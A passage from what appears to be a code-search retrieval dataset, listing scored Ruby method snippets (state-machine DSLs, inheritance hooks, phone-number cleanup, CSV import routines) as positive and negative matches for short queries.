"docid": "8934ba1b2782799bacfe3a9779e05e5c",
"score": "0.5504501",
"text": "def class\n State\n end",
"title": ""
},
{
"docid": "db852e366c3651fc00dfcd571ab53115",
"score": "0.54951423",
"text": "def base_class!\n @base_class = true\n end",
"title": ""
},
{
"docid": "8e74de6ff26372a77f1ff409a73e70f2",
"score": "0.5486703",
"text": "def inherited(i)\n # Add our class to the list of instructions\n Instructions.add_instruction(i)\n end",
"title": ""
},
{
"docid": "31fe3acc1d7cb8374143e67afa3dd0b0",
"score": "0.5460888",
"text": "def baseclass #:nodoc:\n end",
"title": ""
},
{
"docid": "2b16fb64e7a123e3ef5466602b807687",
"score": "0.54556346",
"text": "def dispatch\n raise NotImplementedError, \"subclass responsibility\"\n end",
"title": ""
},
{
"docid": "a51e9540d0b818b74bac392ad4c9c1b8",
"score": "0.54513824",
"text": "def register(klass, overwrite = T.unsafe(nil), state_machine = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "a51e9540d0b818b74bac392ad4c9c1b8",
"score": "0.54513824",
"text": "def register(klass, overwrite = T.unsafe(nil), state_machine = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "abb5f1aeefcec7a20bc7e452582c76f4",
"score": "0.5445057",
"text": "def get_state state_name, superclass = self.class\n superclass.get_state state_name\n end",
"title": ""
},
{
"docid": "84eb68835bc0c786077dba601c5eb1cf",
"score": "0.5437",
"text": "def aasm(*args, &block)\n unless args[0].is_a?(Symbol) || args[0].is_a?(String)\n options = args[0] || {}\n args[0] = options.merge(whiny_transitions: false)\n end\n\n # first process the state machine DSL normally\n ret = aasm_orig(*args, &block) \n if block\n # then this is a DSL call, so remove the event methods it normally makes on the the object\n # because we want the user to define their own. We are doing what these auto methods do manually \n # under the covers, so we don't need them (see __process). Also, we don't want users manipulating \n # events directly. One event per action is enforced by StatefulController.\n methods_to_remove = aasm.events.map(&:name)\n methods_to_remove.each {|method|\n remove_method(method) \n }\n end\n @__sm_loaded = true\n ret\n end",
"title": ""
},
{
"docid": "ba35e5660f2d0130025ba8391a0a7edf",
"score": "0.54365534",
"text": "def subclass_for(sql_state)\n sqlstate_subclasses[sql_state]\n end",
"title": ""
},
{
"docid": "1289f088b8344eb92d1f74fb1decccdc",
"score": "0.5431619",
"text": "def inherited(klass)\n @cmds[ klass.to_s.downcase ] = klass\n end",
"title": ""
},
{
"docid": "971c9f93d3b9dd05d31a2004f44e72df",
"score": "0.5422696",
"text": "def state_machine(&block)\n return @sm if !(@sm.nil?) && !(block_given?)\n @sm ||= SimplerStateMachine::Base.new(self)\n @sm.instance_eval(&block) if block_given?\n @sm.enumize!\n self.const_set(@sm.states_constant_name,@sm.states).freeze\n return @sm\n end",
"title": ""
},
{
"docid": "69a778cb67786a8069953675b898c462",
"score": "0.5422189",
"text": "def statemachine name = nil, opts = { }, &blk\n # Create a sub state machine?\n superstate = @context[:state]\n if superstate\n name = superstate.name\n end\n raise(ArgumentError, 'invalid name') unless name\n\n case name\n when StateMachine\n sm = name\n name = sm.name\n else\n name = name.to_sym unless Symbol === name\n \n opts[:name] = name\n sm = StateMachine.new opts\n end\n\n @root_statemachine ||= sm\n\n # Save the result.\n @result ||= sm\n\n # Attach state to substate machine.\n if superstate\n superstate.submachine = sm \n sm.superstate = superstate\n end\n\n _with_context(:state, nil) do\n _with_context(:initial, nil) do \n _with_context(:final, nil) do\n _with_context(:namespace, sm) do\n _with_context(:statemachine, sm) do \n instance_eval &blk if blk\n \n # Set start, end states.\n sm.start_state = _find_state(@context[:initial]) if @context[:initial]\n sm.end_state = _find_state(@context[:final]) if @context[:final]\n \n end # statemachine\n\n # Outermost statemachine?\n if @context[:statemachine] == nil\n _log { \"\\n\\nCreating transitions:\" }\n # Create transitions.\n @transitions.each do | t |\n _create_transition! t\n end\n @transitions.clear\n end\n end # namespace\n end # end_state\n end # start_state\n end # state\n \n sm\n end",
"title": ""
},
{
"docid": "4a9a527c194baeb38ece77a5dd489d4a",
"score": "0.5394209",
"text": "def inherited(subclass)\n super\n subclass.instance_variable_set(:@builder, ::Rack::Builder.new)\n subclass.instance_variable_set(:@middleware, @middleware.dup)\n subclass.instance_variable_set(:@opts, opts.dup)\n \n request_class = Class.new(self::RodaRequest)\n request_class.roda_class = subclass\n subclass.const_set(:RodaRequest, request_class)\n\n response_class = Class.new(self::RodaResponse)\n response_class.roda_class = subclass\n subclass.const_set(:RodaResponse, response_class)\n end",
"title": ""
},
{
"docid": "3d6012a1819ebdb388c25e658d21217f",
"score": "0.53936046",
"text": "def pushdown_pluggable_state_class( state_base_class, class_name )\n\t\treturn state_base_class.get_subclass( class_name )\n\tend",
"title": ""
},
{
"docid": "90953f3a98f062b569752b16426902e6",
"score": "0.5393308",
"text": "def initialize(base)\n @base = base\n end",
"title": ""
},
{
"docid": "2f3461d0c6f95848b0a7094742231b63",
"score": "0.5379757",
"text": "def state\n raise NotImplementedError, 'Abstract method'\n end",
"title": ""
},
{
"docid": "680ef16edadc1726e44f97987c780806",
"score": "0.53751236",
"text": "def inherited(subclass)\n super\n subclass.instance_variable_set(:@__multiton_instances, InstanceBox.new)\n nil\n end",
"title": ""
},
{
"docid": "93b5e93fdb8ee1ab360daf28b743bf31",
"score": "0.5373271",
"text": "def initialize(base) # :nodoc:\n self.base = base\n end",
"title": ""
},
{
"docid": "93b5e93fdb8ee1ab360daf28b743bf31",
"score": "0.5373271",
"text": "def initialize(base) # :nodoc:\n self.base = base\n end",
"title": ""
},
{
"docid": "73e4bd8370169bb0dead7f28dfe19778",
"score": "0.537287",
"text": "def inherited(cls)\n\t\t\tcls.setup_events\n\t\tend",
"title": ""
},
{
"docid": "99c43feedd9d1d7d569f716fab1fa210",
"score": "0.5372407",
"text": "def inherited(subclass)\n super\n subclass.instance_variable_set(:@commands_block, commands_block)\n subclass.instance_variable_set(:@commands_namespace, commands_namespace)\n subclass.instance_variable_set(:@program_name, program_name.dup)\n end",
"title": ""
},
{
"docid": "cfc5874da585aa59205b7b867bed425d",
"score": "0.53717583",
"text": "def inherited( hooked_instance )\n \n super if defined?( super )\n \n end",
"title": ""
},
{
"docid": "78ddc490ead66920c5873136e95c6046",
"score": "0.53662366",
"text": "def aol_aware_state\n super\n end",
"title": ""
},
{
"docid": "d386555cb708266bc6bf360cbd5aa6ed",
"score": "0.5365759",
"text": "def inherited(subclass)\n super(subclass)\n self.hereditary = true\n end",
"title": ""
},
{
"docid": "a6fe9dcaefa557cc8b948cb545522ed8",
"score": "0.5356331",
"text": "def assembler; self; end",
"title": ""
},
{
"docid": "021f8e90cd4afd4719f3f8f07b9c0465",
"score": "0.5355215",
"text": "def []=(klass, overwrite = T.unsafe(nil), state_machine = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "021f8e90cd4afd4719f3f8f07b9c0465",
"score": "0.5355215",
"text": "def []=(klass, overwrite = T.unsafe(nil), state_machine = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "82c0c124f78b05f7efbde5d31b466370",
"score": "0.53503054",
"text": "def inherited(klass)\n super\n register(klass)\n end",
"title": ""
},
{
"docid": "5ef7b60c6ff37b0627971022dcc26524",
"score": "0.53413993",
"text": "def event(event, &block)\n class_eval <<-EOV\n def #{event.to_s}!\n next_states = next_states_for_event(:#{event.to_s})\n #p \"available states insid \\#{self.class}: \\#{next_states.inspect}\"\n previous_state = current_state\n next_states.each do |ns|\n if ns.guard(self)\n loopback = current_state == ns.to\n exitact = self.class.read_inheritable_attribute(:states)[current_state][:exit]\n enteract = self.class.read_inheritable_attribute(:states)[ns.to][:enter]\n self[self.class.state_column.to_sym]=ns.to.to_s\n if (self.save)\n run_transition_action(enteract) if enteract && !loopback\n run_transition_action(exitact) if exitact && !loopback\n else\n self[self.class.state_column.to_sym]=previous_state.to_s\n end\n break\n end\n end\n end\n EOV\n \n tt = read_inheritable_attribute(:transition_table)\n tt[event.to_sym] ||= []\n \n if block_given?\n t = SupportingClasses::TransitionCollector.new\n t.instance_eval(&block)\n trannys = t.opts\n trannys.each do |tranny|\n Array(tranny[:from]).each do |s|\n tt[event.to_sym] << SupportingClasses::StateTransition.new(s.to_sym, tranny[:to], tranny[:guard])\n end\n end\n end\n end",
"title": ""
},
{
"docid": "94b70637be272d1fe4665b62ec47a7b1",
"score": "0.5323542",
"text": "def state(*args); end",
"title": ""
},
{
"docid": "94b70637be272d1fe4665b62ec47a7b1",
"score": "0.5323542",
"text": "def state(*args); end",
"title": ""
},
{
"docid": "04ec911eeb8d7c06f0d861747238f2a9",
"score": "0.53221446",
"text": "def baseclass\n baseclass_new if baseclass_undefined?\n send(base_class_assoc_name)\n end",
"title": ""
},
{
"docid": "6f310f47e7be1f9410844c3e30f818e1",
"score": "0.5319039",
"text": "def inherits\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 27 )\n\n\n __ID33__ = nil\n\n\n begin\n # at line 124:11: ( INHERITS ID )\n # at line 124:11: ( INHERITS ID )\n # at line 124:13: INHERITS ID\n match( INHERITS, TOKENS_FOLLOWING_INHERITS_IN_inherits_1320 )\n __ID33__ = match( ID, TOKENS_FOLLOWING_ID_IN_inherits_1322 )\n\n\n # --> action\n $manager.main_context.class_directories.classes[$class_aux].inherits_of = __ID33__.text \n # <-- action\n\n\n # --> action\n $manager.inherits_class_context(__ID33__.text) \n # <-- action\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 27 )\n\n\n end\n\n return \n end",
"title": ""
},
{
"docid": "d168b76f93e41ca5d9ee163db8660ee1",
"score": "0.53060216",
"text": "def state(*) end",
"title": ""
},
{
"docid": "58a9f5599d836c14b145e1bd79bdb35b",
"score": "0.52959424",
"text": "def initialize(ev,start,&ruby_block)\n this = self\n # Process the arguments.\n ev = ev.posedge unless ev.is_a?(Event)\n if start.is_a?(Event) then\n start = start.type == :posedge ? start.ref : ~start.ref\n end\n # Create the fsm from the block.\n @fsm = fsm(ev,start,:seq)\n # On reset (start) tell to go to the first state.\n run = HDLRuby::High.cur_system.inner(HDLRuby.uniq_name(:run) => 0)\n @fsm.reset do\n # HDLRuby::High.top_user.instance_exec do\n # next_state_sig <= this.start_state_value\n # end\n run <= 1\n end\n\n # The status stack of the sequencer.\n @status = [ {} ]\n # Creates the namespace to execute the sequencer deescription \n # block in.\n @namespace = Namespace.new(self)\n\n # The end state is actually 0, allows to sequencer to be stable\n # by default.\n @fsm.default { run <= 0 }\n @end_state = @fsm.state { }\n @end_state.gotos << proc do\n HDLRuby::High.top_user.instance_exec do\n hif(run) { next_state_sig <= this.start_state_value }\n helse { next_state_sig <= this.end_state_value }\n end\n end\n # Record the start and end state values.\n # For now, the start state is the one just following the end state.\n @end_state_value = @end_state.value\n @start_state_value = @end_state_value + 1\n # puts \"end_state_value=#{@end_state_value}\"\n\n # Process the ruby_block.\n @@current = self\n HDLRuby::High.space_push(@namespace)\n blk = HDLRuby::High::Block.new(:seq,&ruby_block)\n HDLRuby::High.space_pop\n\n # If the block is not empty, add it as last state.\n this = self\n if blk.each_statement.any? then\n st = @fsm.state do\n this.fill_top_user(blk)\n end\n end\n\n # Build the fsm.\n @fsm.build\n end",
"title": ""
},
{
"docid": "2333b0b4502be4d1459d64fe3666b7ed",
"score": "0.5295365",
"text": "def base_class\n self\n end",
"title": ""
},
{
"docid": "e1e04dc87a1c7ec5308e0b4058f11cc0",
"score": "0.52941006",
"text": "def run\n raise NotImplementedError, \"subclass responsibility\"\n end",
"title": ""
}
] |
03e8544c1121e466cb74486e4298d278
|
Doesn't work right now
|
[
{
"docid": "e39531dae1fd95d2c4801951d072e5d4",
"score": "0.0",
"text": "def strip_numbers_of_characters\n company.office_phone = office_phone.to_s.gsub(/\\D/, '')\n company.fax_phone = fax_phone.to_s.gsub(/\\D/, '')\n end",
"title": ""
}
] |
[
{
"docid": "a9dd648a5d0d2e7d56223e7c753f5e2e",
"score": "0.6533951",
"text": "def telegraphical()\n end",
"title": ""
},
{
"docid": "4fe655da88e61d28e8b9a9ed964af838",
"score": "0.649507",
"text": "def imprensa\n\t\t\n\tend",
"title": ""
},
{
"docid": "04e074efc99de627ea58633a58870ec3",
"score": "0.6352821",
"text": "def stpreason\n end",
"title": ""
},
{
"docid": "da32862891e2ebc3c8d71f65524bb4c1",
"score": "0.6222579",
"text": "def prosa\n end",
"title": ""
},
{
"docid": "da32862891e2ebc3c8d71f65524bb4c1",
"score": "0.6222579",
"text": "def prosa\n end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.619515",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.619515",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.619515",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.619515",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.619515",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "9dcc74dd11eb115d21bf9af45b3ec4e3",
"score": "0.619515",
"text": "def bodystmt; end",
"title": ""
},
{
"docid": "7477f36427db1eed71e3d1fe5ae5eb83",
"score": "0.61415344",
"text": "def manuver\n\tend",
"title": ""
},
{
"docid": "0939406b2108b4dcfeb32a0ce912e9dd",
"score": "0.6133022",
"text": "def\thustle \t \t\r\n\t\tend",
"title": ""
},
{
"docid": "fa686cdf1942762f7041d1fb7b0aacb0",
"score": "0.6113568",
"text": "def comofunciona\n\t\t\n\tend",
"title": ""
},
{
"docid": "7ec57c3874853e50086febdbdd3221bf",
"score": "0.6107751",
"text": "def wedding; end",
"title": ""
},
{
"docid": "954c5828178f6e4a659c40ef92736547",
"score": "0.6092394",
"text": "def helpful!\n\n\t\tend",
"title": ""
},
{
"docid": "e44ae2cef169d29f78b2b6306add59da",
"score": "0.59678525",
"text": "def huddlingly()\n end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.59464926",
"text": "def used; end",
"title": ""
},
{
"docid": "33e1db3c06643dd523dcc31fccf3a005",
"score": "0.59464926",
"text": "def used; end",
"title": ""
},
{
"docid": "2dee7e587ecfe70f997870a7ebcb05ca",
"score": "0.5903901",
"text": "def conatct\n end",
"title": ""
},
{
"docid": "26da328e8cf814fdc197fd2d301c3d2b",
"score": "0.5891124",
"text": "def flipx\r\n end",
"title": ""
},
{
"docid": "ca46c12d90b88c8a101b179c5ed44708",
"score": "0.58837485",
"text": "def snapto\n end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "5ab49f4a4e76cf57dddfec246839f72d",
"score": "0.5841753",
"text": "def run; end",
"title": ""
},
{
"docid": "e28593026497a2baf9c546a2da299bf7",
"score": "0.58318436",
"text": "def nonstpreason\nend",
"title": ""
},
{
"docid": "40769f9969d33ad71cb2389a7e574114",
"score": "0.58240455",
"text": "def institucional\n\t\t\n\tend",
"title": ""
},
{
"docid": "8d0e128ad87cd20a86507c09c46a6f67",
"score": "0.581447",
"text": "def termitidae()\n end",
"title": ""
},
{
"docid": "54a53621e5fd3fc0cc3d2ff2901a893e",
"score": "0.58137155",
"text": "def chazelle\n end",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.5809876",
"text": "def desired; end",
"title": ""
},
{
"docid": "afbc4c54dabf4c09a70792d90ead3525",
"score": "0.5775835",
"text": "def sn\n end",
"title": ""
},
{
"docid": "0f4fb165548b4d7ab8c74f1e99d3f784",
"score": "0.5766676",
"text": "def stahp\n end",
"title": ""
},
{
"docid": "a7c3ff6e9a70757ad110a0a6920415c1",
"score": "0.5748129",
"text": "def boruvka\n end",
"title": ""
},
{
"docid": "67081eb3c98dc9ab87bd978f73a10e81",
"score": "0.57374626",
"text": "def advanced; end",
"title": ""
},
{
"docid": "67081eb3c98dc9ab87bd978f73a10e81",
"score": "0.57374626",
"text": "def advanced; end",
"title": ""
},
{
"docid": "8c525d0972591c68c779b487792172b1",
"score": "0.5726912",
"text": "def initiated; end",
"title": ""
},
{
"docid": "9def9e6b2cfc10143798be169da5565f",
"score": "0.57100296",
"text": "def pick()\n \n end",
"title": ""
},
{
"docid": "9def9e6b2cfc10143798be169da5565f",
"score": "0.57100296",
"text": "def pick()\n \n end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.56904364",
"text": "def operations; end",
"title": ""
},
{
"docid": "2dbabd0eeb642c38aad852e40fc6aca7",
"score": "0.56904364",
"text": "def operations; end",
"title": ""
},
{
"docid": "2309707e2aef111ef9d155cbcac838fd",
"score": "0.5680529",
"text": "def cargar_insumo;\n\t\t\n\tend",
"title": ""
},
{
"docid": "3ae137b1a40ff3aae4f3cbb2b6082797",
"score": "0.5675101",
"text": "def reaper; end",
"title": ""
},
{
"docid": "dff37ea0d68b9c86bab1ceb2dfb658a9",
"score": "0.5662271",
"text": "def rc; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.565882",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.565882",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "20888292727941835888e2d0f9081c0f",
"score": "0.565882",
"text": "def inquiry; end",
"title": ""
},
{
"docid": "1534ac6ca27621262c7e0de67a05c53f",
"score": "0.56570196",
"text": "def run\n\n\tend",
"title": ""
},
{
"docid": "1151221aa9457e5cad317e4fec922758",
"score": "0.56496423",
"text": "def adjugate; end",
"title": ""
},
{
"docid": "6ab77a9219ee157923bc58599ba6aa77",
"score": "0.5646719",
"text": "def in_use; end",
"title": ""
},
{
"docid": "6ab77a9219ee157923bc58599ba6aa77",
"score": "0.5646719",
"text": "def in_use; end",
"title": ""
},
{
"docid": "58e2e07d11b107b6864a328f2187e248",
"score": "0.5645499",
"text": "def apop?; end",
"title": ""
},
{
"docid": "d509f8cefdd8fc87fefabff3705478b5",
"score": "0.56272477",
"text": "def custom\n \n end",
"title": ""
},
{
"docid": "549cdd4767cacb4029e22f746ccd68b5",
"score": "0.5622532",
"text": "def work; end",
"title": ""
},
{
"docid": "bc3e0880d8b9c0c44e60030e2f8d8933",
"score": "0.56130433",
"text": "def run\n\n\t\tend",
"title": ""
},
{
"docid": "8d19c5a7ff773bf998fad8e175eb5b88",
"score": "0.5603079",
"text": "def active; end",
"title": ""
},
{
"docid": "8d19c5a7ff773bf998fad8e175eb5b88",
"score": "0.5603079",
"text": "def active; end",
"title": ""
},
{
"docid": "8d19c5a7ff773bf998fad8e175eb5b88",
"score": "0.5603079",
"text": "def active; end",
"title": ""
},
{
"docid": "8d19c5a7ff773bf998fad8e175eb5b88",
"score": "0.5603079",
"text": "def active; end",
"title": ""
},
{
"docid": "11731a5a3243408f29627ae9ed59e1ed",
"score": "0.55717844",
"text": "def paradox\n end",
"title": ""
},
{
"docid": "b7cfdec5315b5d3c26b002081b1dbae3",
"score": "0.55662215",
"text": "def coming_soon; end",
"title": ""
},
{
"docid": "7db0727baf89eb76beac27c515d7fe32",
"score": "0.55634105",
"text": "def support; end",
"title": ""
},
{
"docid": "5644f33dcaa6e75fea2f34138b4021e6",
"score": "0.5553808",
"text": "def init\r\n \r\n end",
"title": ""
},
{
"docid": "2290804b238fc95bfd6b38f87c6d2895",
"score": "0.5550259",
"text": "def override; end",
"title": ""
},
{
"docid": "4c9190bec591e0d8bcffbea3e5e4fda2",
"score": "0.5546324",
"text": "def agence\n\n end",
"title": ""
},
{
"docid": "811a92e871b1dd201d83a0539a8f2910",
"score": "0.55086505",
"text": "def shrivel\n # Do nothing for now.\n end",
"title": ""
},
{
"docid": "adaf5790b2481b56dc786b1bf29d871d",
"score": "0.5507719",
"text": "def run\n\n end",
"title": ""
},
{
"docid": "f0d50116d6d067bd787bf1044910efcb",
"score": "0.54933745",
"text": "def attempt; end",
"title": ""
},
{
"docid": "a18186567d58d46fbcb43c48faf2ab4b",
"score": "0.5489673",
"text": "def apply\n\t\t\n\tend",
"title": ""
},
{
"docid": "bc658f9936671408e02baa884ac86390",
"score": "0.54892236",
"text": "def anchored; end",
"title": ""
},
{
"docid": "8ab7b1caf2cb4e077357cd569b34f71c",
"score": "0.5486263",
"text": "def init\n\t\t\t\t\t\t\t\tend",
"title": ""
},
{
"docid": "ec7f99bd984d5a58fa138af584dee885",
"score": "0.5485825",
"text": "def iniitialize\n \n end",
"title": ""
},
{
"docid": "a747cf4388fb3d14718cf9dda73c555f",
"score": "0.54801995",
"text": "def initalize; end",
"title": ""
},
{
"docid": "a747cf4388fb3d14718cf9dda73c555f",
"score": "0.54801995",
"text": "def initalize; end",
"title": ""
},
{
"docid": "25e3f4a39c89d9bf56fc0522c893c4b3",
"score": "0.5478371",
"text": "def see\n\n\tend",
"title": ""
},
{
"docid": "54f970ee5768d76a8818f20a25600939",
"score": "0.54741603",
"text": "def looping",
"title": ""
},
{
"docid": "4da8b4c3bd5770e60b33f86f7d85b9b4",
"score": "0.5469022",
"text": "def run\n end",
"title": ""
},
{
"docid": "a24eeb4706a13ad1fb582849824772f7",
"score": "0.5468569",
"text": "def lup; end",
"title": ""
},
{
"docid": "b550ec75cd84ebcc1c959802d7b0e56f",
"score": "0.5455837",
"text": "def refresh; end",
"title": ""
},
{
"docid": "b550ec75cd84ebcc1c959802d7b0e56f",
"score": "0.5455837",
"text": "def refresh; end",
"title": ""
},
{
"docid": "b550ec75cd84ebcc1c959802d7b0e56f",
"score": "0.5455837",
"text": "def refresh; end",
"title": ""
},
{
"docid": "95f1998773e9059ea32a1092fcfe2198",
"score": "0.5449263",
"text": "def starting; end",
"title": ""
},
{
"docid": "cb2162d3a1fd3434effd12aa702f250f",
"score": "0.544147",
"text": "def update() end",
"title": ""
},
{
"docid": "c90e19fb309c08ffc3f5bf2d284f056a",
"score": "0.5438185",
"text": "def loaded; end",
"title": ""
},
{
"docid": "c90e19fb309c08ffc3f5bf2d284f056a",
"score": "0.5438185",
"text": "def loaded; end",
"title": ""
},
{
"docid": "c90e19fb309c08ffc3f5bf2d284f056a",
"score": "0.5438185",
"text": "def loaded; end",
"title": ""
},
{
"docid": "5f2263808382a77bc1221f752b8165d9",
"score": "0.5428324",
"text": "def opweg\n end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.5427419",
"text": "def hook; end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.5427419",
"text": "def hook; end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.5427419",
"text": "def hook; end",
"title": ""
},
{
"docid": "1c709e6047dee3022a362eb47e365c82",
"score": "0.5427419",
"text": "def hook; end",
"title": ""
},
{
"docid": "baabe5bb658b17a85353fb66fdbbf873",
"score": "0.54195744",
"text": "def extended; end",
"title": ""
}
] |
ef8420295e8b5bece6dfd2f6799f41a8
|
Params: database: AddressBook::Database file_path: string path to a .csv file
|
[
{
"docid": "a771fea8b88a44b6ba97e509cb607852",
"score": "0.66712284",
"text": "def initialize(database, file_path)\n @file_path = file_path\n @entries = database.entries\n validate_csv_header\n end",
"title": ""
}
] |
[
{
"docid": "1e344ca5eb46c4caa971336e861a1aeb",
"score": "0.6765682",
"text": "def import_from_csv(file)\n entries = Keybox::Convert::CSV.from_file(file)\n entries.each do |entry|\n @db << entry\n end\n hsay \"Imported #{entries.size} records from #{file}.\", :information\n end",
"title": ""
},
{
"docid": "e1fde0c7232e7814e1e995f581db6dde",
"score": "0.65067464",
"text": "def import_from_csv(file_name)\n # implementation\n csv_text = File.read(file_name)\n # the variable 'csv' is a table type object\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\n \n # \n csv.each do |row|\n # create a hash type variable 'row_hash'\n row_hash = row.to_hash\n # use 'add_entry' to change 'row_hash' into 'Entry', also add the new Entry into AddressBook's entries\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\n end\n end",
"title": ""
},
{
"docid": "5d449f799a0af3a15c4de57789fdc70f",
"score": "0.62021667",
"text": "def import_from_csv(file_name)\r\n #implementation goes here\r\n csv_text = File.read(file_name)\r\n csv = CSV.parse(csv_text, headers: true, skip_blanks: true)\r\n # #8 iterate over table rows, create hash for each, then convert to Entry using 'add_entry' method\r\n csv.each do |row|\r\n row_hash = row.to_hash\r\n add_entry(row_hash[\"name\"], row_hash[\"phone_number\"], row_hash[\"email\"])\r\n end #end csv.each loop\r\n end",
"title": ""
},
{
"docid": "2f2c3e6723f369be8112d1996226d9f3",
"score": "0.6185472",
"text": "def saveCSVFileContentsToDB (file)\n text = File.read(file).gsub(/\\\\\"/,'\"\"')\n arr = []\n CSV.parse(text, headers: true) do |row|\n rowHash = row.to_hash\n rowHash['log_timestamp'] = Time.at(rowHash['timestamp'].to_i)\n rowHash.delete('timestamp')\n puts(rowHash)\n arr << rowHash\n end\n\n Log.create(arr)\n end",
"title": ""
},
{
"docid": "4b19df2732f051af0331ab909b0b6fdc",
"score": "0.60950655",
"text": "def read_csv_file(file_path, &block)\n if File.exist?(file_path)\n CSV.foreach(file_path, headers: true) do |row|\n block.call(row)\n end\n end\n rescue StandardError\n #TODO report the error to developers\n Rails.logger.info(\"Import #{file_path} failed\")\n end",
"title": ""
},
{
"docid": "7ff1a1cf665b1d79a5b752bae3624842",
"score": "0.60716486",
"text": "def parse_csv(file_path)\n record_list = []\n header = []\n is_header = true\n \n CSV.foreach(file_path) do |row|\n if (is_header)\n\theader = row\n\tis_header = false\n else\n\trecord = Record.new\n\trecord.create(header, row)\n\trecord_list.push(record)\n end\n end\n return record_list\n end",
"title": ""
},
{
"docid": "0fadf4a405131a70822305c68f8f26d7",
"score": "0.60292757",
"text": "def load_file_through_database(filename, extension = \"csv\", path = \"/tmp/\")\n full_file_path = \"#{q(path)}#{q(filename)}.#{q(extension)}\"\n logger.debug(\" >> load_file_through_database(#{filename})\")\n file = ActiveRecord::Base.connection.execute(\"select LOAD_FILE('#{full_file_path}')\") #.fetch_row()[0]\n if file.first[0]\n File.open(full_file_path, 'w') { |f| f.write(file.first[0].encode(\"UTF-8\", :invalid => :replace, :undef => :replace, :replace => \"?\")) }\n logger.debug(\" >> load_file_through_database = file\")\n return filename\n else\n logger.debug(\" << load_file_through_database = nil\")\n return nil\n end\n end",
"title": ""
},
{
"docid": "7d51b7cbcaf0c9c08c3afbe8ee1678b1",
"score": "0.6028821",
"text": "def parse(file_path)\n begin\n rows = CSV.read(file_path, headers: true, header_converters: :symbol, converters: [:all, :blank_to_nil])\n rescue CSV::MalformedCSVError => e\n raise \"Could not parse CSV file. Original error: #{e.message}\"\n rescue StandardError => e\n raise \"Could not load CSV file. Make sure the file has CSV headers. Original error: #{e.message}\"\n end\n @contracts = rows.collect {|row| row.to_hash }\n end",
"title": ""
},
{
"docid": "88556bd6325918127d0f7c7f30a31b89",
"score": "0.59987223",
"text": "def save\n CSV.open(\"./db/gossip.csv\", \"ab\") do |csv|\n csv << [@author, @content]\n end\nend",
"title": ""
},
{
"docid": "c163256827f6a168b23e89ca991d2315",
"score": "0.5994474",
"text": "def load_athletes(file = 'athletes_london2012.csv')\n puts \"Clearing out old athletes ..\"\n Athlete.destroy_all\n puts \"Importing athletes ..\"\n CSV.read(file, headers: true).each do |row|\n Athlete.create({\n name: row[\"Name\"],\n country: row[\"Country\"],\n age: row[\"Age\"],\n height: row[\"Height, cm\"],\n weight: row[\"Weight\"],\n sex: row[\"Sex\"],\n dob: extract_date(row[\"Date of birth\"]),\n gold: row[\"Gold\"],\n silver: row[\"Silver\"],\n bronze: row[\"Bronze\"],\n sport: row[\"Sport\"],\n events: row[\"Event\"].split(\", \")\n })\n end\n puts \"Done! You have #{Athlete.count} athletes in your database.\"\nend",
"title": ""
},
{
"docid": "2c54b463623c46cd7316aba98f56651a",
"score": "0.5989752",
"text": "def read_vote_csv(file_name)\n begin\n # @type [Array<Array<String>>]\n csv = CSV.read(file_name)\n rescue Errno::ENOENT\n warn format('Sorry, the file %<File>s does not exist', File: file_name)\n exit 1\n end\n csv.delete_if { |line| line.join('') =~ /^\\s*$/ } # delete blank lines\n csv\nend",
"title": ""
},
{
